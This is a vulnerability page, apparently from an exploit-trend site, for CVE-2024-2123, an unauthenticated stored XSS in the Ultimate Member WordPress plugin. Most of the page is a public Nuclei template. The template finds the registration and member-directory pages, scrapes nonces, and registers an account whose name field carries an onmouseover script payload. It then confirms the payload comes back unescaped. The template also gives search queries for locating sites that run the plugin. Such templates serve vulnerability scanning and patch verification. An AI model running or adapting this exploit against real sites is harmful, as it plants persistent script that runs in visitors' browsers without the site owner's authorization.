CVE-2024-2123: Ultimate Member <= 2.8.3 - Unauthenticated Stored Cross-Site Scripting

2026-12-04 PoC Public

Description

The Ultimate Member plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting via the Member Directory in versions up to, and including, 2.8.3. The member-directory AJAX handler (action um_get_members, registered on wp_ajax_nopriv) builds each user card in build_user_card_data() without output escaping and returns the raw values as JSON, which the Underscore.js directory templates render with non-escaping {{{ }}} interpolation (e.g. the display name into a title="" attribute). An unauthenticated attacker can self-register with a script payload in a profile field that feeds the directory (such as the display name), and it executes in the browser of anyone who views the Members directory. The template auto-discovers the Ultimate Member registration form and member-directory pages from the WordPress REST API, registers a user whose display name carries a unique marker followed by characters that esc_html would encode, then reads the directory JSON back and confirms the display_name field is returned unescaped - which a patched 2.8.4 site escapes.

Details

CVE
CVE-2024-2123 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2024-2123

info:
  name: Ultimate Member <= 2.8.3 - Unauthenticated Stored Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    The Ultimate Member plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting via the Member Directory in versions up to, and including, 2.8.3. The member-directory AJAX handler (action um_get_members, registered on wp_ajax_nopriv) builds each user card in build_user_card_data() without output escaping and returns the raw values as JSON, which the Underscore.js directory templates render with non-escaping {{{ }}} interpolation (e.g. the display name into a title="" attribute). An unauthenticated attacker can self-register with a script payload in a profile field that feeds the directory (such as the display name), and it executes in the browser of anyone who views the Members directory. The template auto-discovers the Ultimate Member registration form and member-directory pages from the WordPress REST API, registers a user whose display name carries a unique marker followed by characters that esc_html would encode, then reads the directory JSON back and confirms the display_name field is returned unescaped - which a patched 2.8.4 site escapes.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of the plugin, which addresses the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ultimate-member/ultimate-member-283-unauthenticated-stored-cross-site-scripting
    - https://www.wordfence.com/blog/2024/03/unauthenticated-stored-xss-vulnerability-patched-in-ultimate-member-wordpress-plugin/
    - https://plugins.trac.wordpress.org/changeset/3046611/ultimate-member
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-2123
    epss-score: 0.26666
    epss-percentile: 0.98066
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 6
    vendor: ultimatemember
    product: ultimate_member
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-member/"
    fofa-query: body="/wp-content/plugins/ultimate-member"
  tags: cve,cve2024,wordpress,wp-plugin,wp,ultimate-member,ultimatemember,xss,stored-xss,intrusive,unauth,vkev

variables:
  marker: "{{rand_text_alpha(8)}}"
  user: "{{rand_text_alpha(10)}}"
  pass: "Aa1!{{rand_text_alpha(6)}}Zz9"

flow: |
  http(1);
  let raw = String(template["pagelinks"] || "");
  let seen = {};
  let paths = raw.replace(/[\[\]"]/g, "").split(",")
                 .map(s => s.replace(/\\\//g, "/").trim())
                 .map(s => s.replace(/^https?:\/\/[^\/]+/i, ""))
                 .filter(s => { if (!s || seen[s]) return false; seen[s] = true; return true; });
  if (!paths.length) { paths = ["/register/", "/members/", "/account/", "/login/"]; }
  let memFound = false;
  for (let i = 0; i < paths.length && i < 30; i++) {
    set("pagepath", paths[i]);
    http(2);
    if (!template["regpath"] && template["regprobe"]) { set("regpath", paths[i]); }
    if (!memFound && template["dirhash"]) { set("mempath", paths[i]); memFound = true; }
    if (template["regpath"] && memFound) { break; }
  }
  http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=100&_fields=link HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: pagelinks
        part: body
        internal: true
        group: 1
        regex:
          - '"link":"([^"]+)"'

  - raw:
      - |
        GET {{pagepath}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: regprobe
        part: body
        internal: true
        group: 1
        regex:
          - 'name="(user_login)-[0-9]+"'

      - type: regex
        name: dirhash
        part: body
        internal: true
        group: 1
        regex:
          - 'data-hash="([a-z0-9]+)"'

  - raw:
      - |
        GET {{regpath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "name=\"form_id\"")'

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - 'name="form_id"[^>]*value="([0-9]+)"'

      - type: regex
        name: regnonce
        part: body
        internal: true
        group: 1
        regex:
          - 'name="_wpnonce" value="([a-f0-9]+)"'

  - raw:
      - |
        POST {{regpath}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id={{form_id}}&_wpnonce={{regnonce}}&_wp_http_referer={{regpath}}&um_request=&user_login-{{form_id}}={{user}}&user_email-{{form_id}}={{user}}%40{{user}}.com&user_password-{{form_id}}={{pass}}&confirm_user_password-{{form_id}}={{pass}}&first_name-{{form_id}}={{marker}}%27%22onmouseover%3D%22alert%28document.domain%29&last_name-{{form_id}}=QA

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 302 || status_code == 200'

  - raw:
      - |
        GET {{mempath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "data-hash")'
        internal: true

    extractors:
      - type: regex
        name: umnonce
        part: body
        internal: true
        group: 1
        regex:
          - '"nonce":"([a-f0-9]+)"'

      - type: regex
        name: dirhash
        part: body
        internal: true
        group: 1
        regex:
          - 'data-hash="([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=um_get_members&nonce={{umnonce}}&directory_id={{dirhash}}&page=1&search={{marker}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"display_name\":\"{{marker}}''")'
        condition: and
# digest: 4b0a00483046022100ab406663aef457db7a6121887195208d5311e1f8b104c1d8bce6fefc9a419e850221008d38cc667cab48a1d720a7aac375599398d3a903c7cf62699ba262fb750de90b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life